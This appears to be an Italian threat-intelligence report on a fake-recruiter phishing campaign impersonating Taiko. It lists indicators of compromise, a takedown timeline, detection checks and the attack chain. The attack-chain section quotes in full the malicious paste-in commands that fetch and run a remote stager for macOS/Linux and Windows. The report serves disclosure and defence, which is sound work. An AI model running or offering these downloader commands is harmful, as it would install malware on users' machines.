taikotalent.xyz — Trojan da terminale con falso reclutatore (IoC e rilevamento)

STATO: RIMOSSO. Il dominio malevolo taikotalent.xyz è stato sospeso dal suo registrar (clientHold) il 2026-10-10 alle 02:39 UTC — circa 12 ore dopo il nostro follow-up supportato da prove ad AWS abuse, con il payload ancora attivo. Verificato il 2026-10-15 tramite RDAP e DNS. Dettagli nella cronologia di seguito.

AGGIORNAMENTO 2026-10-15 — DOMINIO DI PHISHING RIMOSSO. taikotalent.xyz e hr.taikotalent.xyz ora restituiscono NXDOMAIN (verificato tramite DNS-over-HTTPS, 2026-10-15) — 10 giorni dopo le segnalazioni coordinate del 5 ottobre (caso AWS 179121234700301, ticket NameCheap NC-DFA-2100, 13 canali notificati). Gli URL del payload (/verify_m, /verify_w) non si risolvono più.

PARZIALMENTE RISOLTO — il livello C2 è ancora attivo: api.gaganata.ink (104.21.84.196 / 172.67.196.60) e api.fallgganata.ink si risolvono ancora dietro Cloudflare e rispondono via HTTP (404 alla sonda, 2026-10-15). Le segnalazioni di abuso per i domini gaganata.ink / fallgganata.ink restano in sospeso presso il registrar e Cloudflare (il modulo di abuso richiede browser + Turnstile).

Stato @ 2026-10-09 00:46 UTC (storico): payload ancora attivo — https://taikotalent.xyz/verify_m → HTTP 200, 49.916 byte, identico byte per byte al campione del 5 ottobre, oltre 4 giorni dopo la segnalazione di abuso ad AWS.

Una campagna di phishing mirata che impersona Taiko (l'azienda Ethereum rollup — dominio reale taiko.xyz, nessuna affiliazione con taikotalent.xyz) invia email di reclutamento false con "posizioni aperte in Ingegneria" a sviluppatori open-source, raccolti dai loro profili GitHub pubblici. Il falso "portale candidature" termina in una pagina "Anti-bot check with Terminal" che convince la vittima a incollare un comando di downloader nel proprio terminale — nessun exploit necessario, è l'utente stesso a eseguire il malware.

Cronologia della rimozione

Data (UTC)	Evento
2026-10-05	Campagna ricevuta; campione messo in quarantena; report forense completo inviato (caso AWS `179121234700301`, Resend, Taiko)
2026-10-09	Divulgazione ampliata: questo repo, gist, dev.to, snippet GitLab, Telegraph; altre 9 notifiche incl. NameCheap abuse (→ ticket `NC-DFA-2100`), Softshellweb (host del payload), Cloudflare (C2), APWG, OpenPhish, oss-security, 3 testate giornalistiche. Payload ancora identico byte per byte e attivo
2026-10-15	`taikotalent.xyz` / `hr.taikotalent.xyz` → NXDOMAIN. Infrastruttura di phishing abbattuta 10 giorni dopo la prima segnalazione. C2 (`api.gaganata.ink`, `api.fallgganata.ink`) ancora risolvibile dietro Cloudflare

Perché è importante

L'aspetto innovativo: il pattern di social engineering del terminale-come-CAPTCHA — un falso controllo anti-bot che rende l'esecuzione dello stager il passo di "verifica".
L'aspetto della responsabilità: segnalato attraverso i canali corretti il 5 ottobre (numero di caso AWS, Resend, Taiko) con un report forense completo; l'URL del trojan serve ancora un payload identico byte per byte il 9 ottobre.
L'aspetto della fiducia: SPF e DKIM passano entrambi — l'autenticazione prova il controllo di un dominio vecchio di 8 giorni, non la reputazione. I gateway di posta che trattano il passaggio di DMARC come sicurezza sono esposti.
L'aspetto forense: progettazione anti-forense — stager auto-cancellante, secondo stadio incorporato in base64 in /var/tmp/.kdm.*, distaccato tramite doppio fork di perl, ciclo di pulizia con 60 tentativi.

Indicatori di Compromissione

Tipo	Valore	Contesto
Dominio	`taikotalent.xyz`	Registrato il 2026-09-27 (Namecheap), 8 giorni prima della campagna
Sottodominio di invio	`hr.taikotalent.xyz`	DKIM d=; MX → gateway inbound AWS SES
Mittente	`[email protected]`	Identità falsa "Joseph Quintana, Talent, Taiko"
IP di invio	`23.249.215.58`	`d215-58.smtp-out.sa-east-1.amazonses.com` (Amazon SES tramite Resend)
Portale	`https://taikotalent.xyz/`	SPA "Invito privato", codici Ref per destinatario (`Ref-oxqgd77kb9zw14`)
Esfiltrazione	`POST /track-activity`	Fingerprint del dispositivo + nome/email/username GitHub a ogni passaggio del form
Payload (macOS/Linux)	`https://taikotalent.xyz/verify_m`	Stager bash "deepfake_guard" da 49.916 B — ATTIVO 2026-10-09
Payload (Windows)	`https://taikotalent.xyz/verify_w`	Launcher `v.cmd`, finestra nascosta
C2	`https://api.gaganata.ink/guard-launcher-result`	Beacon di stato dell'installazione (Namecheap, con frontend Cloudflare)
C2 di backup	`https://api.fallgganata.ink`	Endpoint secondario
IP host del payload	`193.160.32.10`	Shock Hosting (US-SHOCK1-20191118)
Secondo stadio	`/var/tmp/.kdm.XXXXXX`	Stadio incorporato decodificato da Base64; auto-eliminazione anti-forense

Hash SHA-256 principali

Artefatto	SHA-256
`verify_m` in quarantena 2026-10-05 (49.916 B)	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d`
`verify_m` riscaricato ATTIVO 2026-10-09	`c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d` (identico byte per byte)
Email di phishing originale (raw)	`84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564`
Allegato `.eml` originale (11.098 B)	`3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3`
Report forense PDF (17 pagine, 201.044 B)	`d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c`

Verificalo tu stesso (non distruttivo)

curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d   (do NOT execute the download)

Rilevamento

YARA (vedi yara/bash_stager_taikotalent.yar)

Verifica di compromissione dell'host (macOS/Linux):

ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null

Rete: bloccare/monitorare l'egress verso *.gaganata.ink, *.fallgganata.ink, taikotalent.xyz (incl. sottodominio hr.).

Amministratori mail: trattare SPF/DKIM pass da domini registrati di recente come neutro — autenticazione ≠ reputazione.

Catena di attacco

Email mirata a un contributor pubblico di GitHub che offriva un ruolo ingegneristico in Taiko, da [email protected] (DKIM s=resend d=hr.taikotalent.xyz, via Amazon SES sa-east-1, IP 23.249.215.58).
Portale SPA con "invito privato" e codici Ref per destinatario; POST /track-activity esfiltra le impronte dei dispositivi a ogni passaggio.
La pagina "Anti-bot check with Terminal" istruisce a incollare un comando nel terminale della vittima stessa:
- macOS/Linux: perl -MPOSIX double-fork daemonization + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_m
- Windows: start -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'
Lo stager deepfake_guard: si rilancia in modalità detached tramite nohup, invia beacon a api.gaganata.ink/guard-launcher-result (fallback api.fallgganata.ink), decodifica il secondo stadio base64 incorporato in /var/tmp/.kdm.XXXXXX, lo esegue con gli endpoint C2 come variabili d'ambiente, quindi si auto-elimina insieme al launcher, al file di stato e agli artefatti in /var/tmp (loop anti-forense con 60 tentativi).

Più Popolari

taikotalent-phishing-iocs